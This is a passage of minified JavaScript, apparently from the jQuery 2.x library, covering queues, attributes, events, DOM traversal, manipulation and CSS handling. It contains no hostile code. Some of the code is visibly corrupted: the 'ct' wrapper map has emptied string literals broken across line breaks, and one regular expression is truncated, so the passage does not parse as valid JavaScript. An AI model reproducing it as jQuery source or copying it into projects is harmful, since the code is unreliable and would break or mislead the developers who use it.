n=x.queue(this,e,t);x._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=x.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=undefined),e=e||"fx";while(s--)n=q.get(o[s],e+"queueHooks"),n&&n.empty&&(r++,n.empty.add(a));return a(),i.promise(t)}});var R,M,W=/[\t\r\n\f]/g,$=/\r/g,B=/^(?:input|select|textarea|button)$/i;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[x.propFix[e]||e]})},addClass:function(e){var t,n,r,i,o,s=0,a=this.length,u="string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(W," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(W," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,i=0,o=x(this),s=e.match(w)||[];while(t=s[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===r||"boolean"===n)&&(this.className&&q.set(this,"__className__",this.className),this.className=this.className||e===!1?"":q.get(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(W," ").indexOf(t)>=0)return!0;return!1},val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=x.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,x(this).val()):e,null==i?i="":"number"==typeof i?i+="":x.isArray(i)&&(i=x.map(i,function(e){return null==e?"":e+""})),t=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&t.set(this,i,"value")!==undefined||(this.value=i))});if(i)return t=x.valHooks[i.type]||x.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&(n=t.get(i,"value"))!==undefined?n:(n=i.value,"string"==typeof n?n.replace($,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,s=o?null:[],a=o?i+1:r.length,u=0>i?a:o?i:0;for(;a>u;u++)if(n=r[u],!(!n.selected&&u!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),s=i.length;while(s--)r=i[s],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,t,n){var i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===r?x.prop(e,t,n):(1===s&&x.isXMLDoc(e)||(t=t.toLowerCase(),i=x.attrHooks[t]||(x.expr.match.bool.test(t)?M:R)),n===undefined?i&&"get"in i&&null!==(o=i.get(e,t))?o:(o=x.find.attr(e,t),null==o?undefined:o):null!==n?i&&"set"in i&&(o=i.set(e,n,t))!==undefined?o:(e.setAttribute(t,n+""),n):(x.removeAttr(e,t),undefined))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)&&(e[r]=!1),e.removeAttribute(n)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return o=1!==s||!x.isXMLDoc(e),o&&(t=x.propFix[t]||t,i=x.propHooks[t]),n!==undefined?i&&"set"in i&&(r=i.set(e,n,t))!==undefined?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){return e.hasAttribute("tabindex")||B.test(e.nodeName)||e.href?e.tabIndex:-1}}}}),M={set:function(e,t,n){return t===!1?x.removeAttr(e,n):e.setAttribute(n,n),n}},x.each(x.expr.match.bool.source.match(/\w+/g),function(e,t){var n=x.expr.attrHandle[t]||x.find.attr;x.expr.attrHandle[t]=function(e,t,r){var i=x.expr.attrHandle[t],o=r?undefined:(x.expr.attrHandle[t]=undefined)!=n(e,t,r)?t.toLowerCase():null;return x.expr.attrHandle[t]=i,o}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,t){return x.isArray(t)?e.checked=x.inArray(x(e).val(),t)>=0:undefined}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var I=/^key/,z=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,X=/^([^.]*)(?:\.(.+)|)$/;function U(){return!0}function Y(){return!1}function V(){try{return o.activeElement}catch(e){}}x.event={global:{},add:function(e,t,n,i,o){var s,a,u,l,c,p,f,h,d,g,m,y=q.get(e);if(y){n.handler&&(s=n,n=s.handler,o=s.selector),n.guid||(n.guid=x.guid++),(l=y.events)||(l=y.events={}),(a=y.handle)||(a=y.handle=function(e){return typeof x===r||e&&x.event.triggered===e.type?undefined:x.event.dispatch.apply(a.elem,arguments)},a.elem=e),t=(t||"").match(w)||[""],c=t.length;while(c--)u=X.exec(t[c])||[],d=m=u[1],g=(u[2]||"").split(".").sort(),d&&(f=x.event.special[d]||{},d=(o?f.delegateType:f.bindType)||d,f=x.event.special[d]||{},p=x.extend({type:d,origType:m,data:i,handler:n,guid:n.guid,selector:o,needsContext:o&&x.expr.match.needsContext.test(o),namespace:g.join(".")},s),(h=l[d])||(h=l[d]=[],h.delegateCount=0,f.setup&&f.setup.call(e,i,g,a)!==!1||e.addEventListener&&e.addEventListener(d,a,!1)),f.add&&(f.add.call(e,p),p.handler.guid||(p.handler.guid=n.guid)),o?h.splice(h.delegateCount++,0,p):h.push(p),x.event.global[d]=!0);e=null}},remove:function(e,t,n,r,i){var o,s,a,u,l,c,p,f,h,d,g,m=q.hasData(e)&&q.get(e);if(m&&(u=m.events)){t=(t||"").match(w)||[""],l=t.length;while(l--)if(a=X.exec(t[l])||[],h=g=a[1],d=(a[2]||"").split(".").sort(),h){p=x.event.special[h]||{},h=(r?p.delegateType:p.bindType)||h,f=u[h]||[],a=a[2]&&RegExp("(^|\\.)"+d.join("\\.(?:.*\\.|)")+"(\\.|$)"),s=o=f.length;while(o--)c=f[o],!i&&g!==c.origType||n&&n.guid!==c.guid||a&&!a.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(f.splice(o,1),c.selector&&f.delegateCount--,p.remove&&p.remove.call(e,c));s&&!f.length&&(p.teardown&&p.teardown.call(e,d,m.handle)!==!1||x.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)x.event.remove(e,h+t[l],n,r,!0);x.isEmptyObject(u)&&(delete m.handle,q.remove(e,"events"))}},trigger:function(t,n,r,i){var s,a,u,l,c,p,f,h=[r||o],d=y.call(t,"type")?t.type:t,g=y.call(t,"namespace")?t.namespace.split("."):[];if(a=u=r=r||o,3!==r.nodeType&&8!==r.nodeType&&!_.test(d+x.event.triggered)&&(d.indexOf(".")>=0&&(g=d.split("."),d=g.shift(),g.sort()),c=0>d.indexOf(":")&&"on"+d,t=t[x.expando]?t:new x.Event(d,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=g.join("."),t.namespace_re=t.namespace?RegExp("(^|\\.)"+g.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=undefined,t.target||(t.target=r),n=null==n?[t]:x.makeArray(n,[t]),f=x.event.special[d]||{},i||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!i&&!f.noBubble&&!x.isWindow(r)){for(l=f.delegateType||d,_.test(l+d)||(a=a.parentNode);a;a=a.parentNode)h.push(a),u=a;u===(r.ownerDocument||o)&&h.push(u.defaultView||u.parentWindow||e)}s=0;while((a=h[s++])&&!t.isPropagationStopped())t.type=s>1?l:f.bindType||d,p=(q.get(a,"events")||{})[t.type]&&q.get(a,"handle"),p&&p.apply(a,n),p=c&&a[c],p&&x.acceptData(a)&&p.apply&&p.apply(a,n)===!1&&t.preventDefault();return t.type=d,i||t.isDefaultPrevented()||f._default&&f._default.apply(h.pop(),n)!==!1||!x.acceptData(r)||c&&x.isFunction(r[d])&&!x.isWindow(r)&&(u=r[c],u&&(r[c]=null),x.event.triggered=d,r[d](),x.event.triggered=undefined,u&&(r[c]=u)),t.result}},dispatch:function(e){e=x.event.fix(e);var t,n,r,i,o,s=[],a=d.call(arguments),u=(q.get(this,"events")||{})[e.type]||[],l=x.event.special[e.type]||{};if(a[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),t=0;while((i=s[t++])&&!e.isPropagationStopped()){e.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(o.namespace))&&(e.handleObj=o,e.data=o.data,r=((x.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a),r!==undefined&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,s=[],a=t.delegateCount,u=e.target;if(a&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!==this;u=u.parentNode||this)if(u.disabled!==!0||"click"!==e.type){for(r=[],n=0;a>n;n++)o=t[n],i=o.selector+" ",r[i]===undefined&&(r[i]=o.needsContext?x(i,this).index(u)>=0:x.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&s.push({elem:u,handlers:r})}return t.length>a&&s.push({elem:this,handlers:t.slice(a)}),s},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,t){var n,r,i,s=t.button;return null==e.pageX&&null!=t.clientX&&(n=e.target.ownerDocument||o,r=n.documentElement,i=n.body,e.pageX=t.clientX+(r&&r.scrollLeft||i&&i.scrollLeft||0)-(r&&r.clientLeft||i&&i.clientLeft||0),e.pageY=t.clientY+(r&&r.scrollTop||i&&i.scrollTop||0)-(r&&r.clientTop||i&&i.clientTop||0)),e.which||s===undefined||(e.which=1&s?1:2&s?3:4&s?2:0),e}},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,s=e,a=this.fixHooks[i];a||(this.fixHooks[i]=a=z.test(i)?this.mouseHooks:I.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new x.Event(s),t=r.length;while(t--)n=r[t],e[n]=s[n];return e.target||(e.target=o),3===e.target.nodeType&&(e.target=e.target.parentNode),a.filter?a.filter(e,s):e},special:{load:{noBubble:!0},focus:{trigger:function(){return this!==V()&&this.focus?(this.focus(),!1):undefined},delegateType:"focusin"},blur:{trigger:function(){return this===V()&&this.blur?(this.blur(),!1):undefined},delegateType:"focusout"},click:{trigger:function(){return"checkbox"===this.type&&this.click&&x.nodeName(this,"input")?(this.click(),!1):undefined},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==undefined&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)},x.Event=function(e,t){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.getPreventDefault&&e.getPreventDefault()?U:Y):this.type=e,t&&x.extend(this,t),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,undefined):new x.Event(e,t)},x.Event.prototype={isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=U,e&&e.preventDefault&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=U,e&&e.stopPropagation&&e.stopPropagation()},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=U,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,t,n,r,i){var o,s;if("object"==typeof e){"string"!=typeof t&&(n=n||t,t=undefined);for(s in e)this.on(s,t,n,e[s],i);return this}if(null==n&&null==r?(r=t,n=t=undefined):null==r&&("string"==typeof t?(r=n,n=undefined):(r=n,n=t,t=undefined)),r===!1)r=Y;else if(!r)return this;return 1===i&&(o=r,r=function(e){return x().off(e),o.apply(this,arguments)},r.guid=o.guid||(o.guid=x.guid++)),this.each(function(){x.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,x(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||"function"==typeof t)&&(n=t,t=undefined),n===!1&&(n=Y),this.each(function(){x.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?x.event.trigger(e,t,n,!0):undefined}});var G=/^.[^:#\[\.,]*$/,J=/^(?:parents|prev(?:Until|All))/,Q=x.expr.match.needsContext,K={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t=x(e,this),n=t.length;return this.filter(function(){var e=0;for(;n>e;e++)if(x.contains(this,t[e]))return!0})},not:function(e){return this.pushStack(et(this,e||[],!0))},filter:function(e){return this.pushStack(et(this,e||[],!1))},is:function(e){return!!et(this,"string"==typeof e&&Q.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],s=Q.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(s?s.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?g.call(x(e),this[0]):g.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function Z(e,t){while((e=e[t])&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return Z(e,"nextSibling")},prev:function(e){return Z(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return e.contentDocument||x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(K[e]||x.unique(i),J.test(e)&&i.reverse()),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,t,n){var r=[],i=n!==undefined;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&x(e).is(n))break;r.push(e)}return r},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function et(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(G.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return g.call(t,e)>=0!==n})}var tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,nt=/<([\w:]+)/,rt=/<|&#?\w+;/,it=/<(?:script|style|link)/i,ot=/^(?:checkbox|radio)$/i,st=/checked\s*(?:[^=]|=\s*.checked.)/i,at=/^$|\/(?:java|ecma)script/i,ut=/^true\/(.*)/,lt=/^\s*\s*$/g,ct={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ct.optgroup=ct.option,ct.tbody=ct.tfoot=ct.colgroup=ct.caption=ct.thead,ct.th=ct.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===undefined?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(mt(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&dt(mt(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)1===e.nodeType&&(x.cleanData(mt(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var t=this[0]||{},n=0,r=this.length;if(e===undefined&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!it.test(e)&&!ct[(nt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(tt,"<$1>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(x.cleanData(mt(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=f.apply([],e);var r,i,o,s,a,u,l=0,c=this.length,p=this,h=c-1,d=e[0],g=x.isFunction(d);if(g||!(1>=c||"string"!=typeof d||x.support.checkClone)&&st.test(d))return this.each(function(r){var i=p.eq(r);g&&(e[0]=d.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(r=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),i=r.firstChild,1===r.childNodes.length&&(r=i),i)){for(o=x.map(mt(r,"script"),ft),s=o.length;c>l;l++)a=r,l!==h&&(a=x.clone(a,!0,!0),s&&x.merge(o,mt(a,"script"))),t.call(this[l],a,l);if(s)for(u=o[o.length-1].ownerDocument,x.map(o,ht),l=0;s>l;l++)a=o[l],at.test(a.type||"")&&!q.access(a,"globalEval")&&x.contains(u,a)&&(a.src?x._evalUrl(a.src):x.globalEval(a.textContent.replace(lt,"")))}return this}}),x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=[],i=x(e),o=i.length-1,s=0;for(;o>=s;s++)n=s===o?this:this.clone(!0),x(i[s])[t](n),h.apply(r,n.get());return this.pushStack(r)}}),x.extend({clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=x.contains(e.ownerDocument,e);if(!(x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(s=mt(a),o=mt(e),r=0,i=o.length;i>r;r++)yt(o[r],s[r]);if(t)if(n)for(o=o||mt(e),s=s||mt(a),r=0,i=o.length;i>r;r++)gt(o[r],s[r]);else gt(e,a);return s=mt(a,"script"),s.length>0&&dt(s,!u&&mt(e,"script")),a},buildFragment:function(e,t,n,r){var i,o,s,a,u,l,c=0,p=e.length,f=t.createDocumentFragment(),h=[];for(;p>c;c++)if(i=e[c],i||0===i)if("object"===x.type(i))x.merge(h,i.nodeType?[i]:i);else if(rt.test(i)){o=o||f.appendChild(t.createElement("div")),s=(nt.exec(i)||["",""])[1].toLowerCase(),a=ct[s]||ct._default,o.innerHTML=a[1]+i.replace(tt,"<$1>")+a[2],l=a[0];while(l--)o=o.lastChild;x.merge(h,o.childNodes),o=f.firstChild,o.textContent=""}else h.push(t.createTextNode(i));f.textContent="",c=0;while(i=h[c++])if((!r||-1===x.inArray(i,r))&&(u=x.contains(i.ownerDocument,i),o=mt(f.appendChild(i),"script"),u&&dt(o),n)){l=0;while(i=o[l++])at.test(i.type||"")&&n.push(i)}return f},cleanData:function(e){var t,n,r,i,o,s,a=x.event.special,u=0;for(;(n=e[u])!==undefined;u++){if(F.accepts(n)&&(o=n[q.expando],o&&(t=q.cache[o]))){if(r=Object.keys(t.events||{}),r.length)for(s=0;(i=r[s])!==undefined;s++)a[i]?x.event.remove(n,i):x.removeEvent(n,i,t.handle);q.cache[o]&&delete q.cache[o]}delete L.cache[n[L.expando]]}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}});function pt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function ft(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function ht(e){var t=ut.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function dt(e,t){var n=e.length,r=0;for(;n>r;r++)q.set(e[r],"globalEval",!t||q.get(t[r],"globalEval"))}function gt(e,t){var n,r,i,o,s,a,u,l;if(1===t.nodeType){if(q.hasData(e)&&(o=q.access(e),s=q.set(t,o),l=o.events)){delete s.handle,s.events={};for(i in l)for(n=0,r=l[i].length;r>n;n++)x.event.add(t,i,l[i][n])}L.hasData(e)&&(a=L.access(e),u=x.extend({},a),L.set(t,u))}}function mt(e,t){var n=e.getElementsByTagName?e.getElementsByTagName(t||"*"):e.querySelectorAll?e.querySelectorAll(t||"*"):[];return t===undefined||t&&x.nodeName(e,t)?x.merge([e],n):n}function yt(e,t){var n=t.nodeName.toLowerCase();"input"===n&&ot.test(e.type)?t.checked=e.checked:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}x.fn.extend({wrapAll:function(e){var t;return x.isFunction(e)?this.each(function(t){x(this).wrapAll(e.call(this,t))}):(this[0]&&(t=x(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this)},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var vt,xt,bt=/^(none|table(?!-c[ea]).+)/,wt=/^margin/,Tt=RegExp("^("+b+")(.*)$","i"),Ct=RegExp("^("+b+")(?!px)[a-z%]+$","i"),kt=RegExp("^([+-])=("+b+")","i"),Nt={BODY:"block"},Et={position:"absolute",visibility:"hidden",display:"block"},St={letterSpacing:0,fontWeight:400},jt=["Top","Right","Bottom","Left"],Dt=["Webkit","O","Moz","ms"];function At(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Dt.length;while(i--)if(t=Dt[i]+n,t in e)return t;return r}function Lt(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function qt(t){return e.getComputedStyle(t,null)}function Ht(e,t){var n,r,i,o=[],s=0,a=e.length;for(;a>s;s++)r=e[s],r.style&&(o[s]=q.get(r,"olddisplay"),n=r.style.display,t?(o[s]||"none"!==n||(r.style.display=""),""===r.style.display&&Lt(r)&&(o[s]=q.access(r,"olddisplay",Rt(r.nodeName)))):o[s]||(i=Lt(r),(n&&"none"!==n||!i)&&q.set(r,"olddisplay",i?n:x.css(r,"display"))));for(s=0;a>s;s++)r=e[s],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[s]||"":"none"));return e}x.fn.extend({css:function(e,t){return x.access(this,function(e,t,n){var r,i,o={},s=0;if(x.isArray(t)){for(r=qt(e),i=t.length;i>s;s++)o[t[s]]=x.css(e,t[s],!1,r);return o}return n!==undefined?x.style(e,t,n):x.css(e,t)},e,t,arguments.length>1)},show:function(){return Ht(this,!0)},hide:function(){return Ht(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){Lt(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=vt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=x.camelCase(t),u=e.style;return t=x.cssProps[a]||(x.cssProps[a]=At(u,a)),s=x.cssHooks[t]||x.cssHooks[a],n===undefined?s&&"get"in s&&(i=s.get(e,!1,r))!==undefined?i:u[t]:(o=typeof n,"string"===o&&(i=kt.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(x.css(e,t)),o="number"),null==n||"number"===o&&isNaN(n)||("number"!==o||x.cssNumber[a]||(n+="px"),x.support.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),s&&"set"in s&&(n=s.set(e,n,r))===undefined||(u[t]=n)),undefined)}},css:function(e,t,n,r){var i,o,s,a=x.camelCase(t);return t=x.cssProps[a]||(x.cssProps[a]=At(e.style,a)),s=x.cssHooks[t]||x.cssHooks[a],s&&"get"in 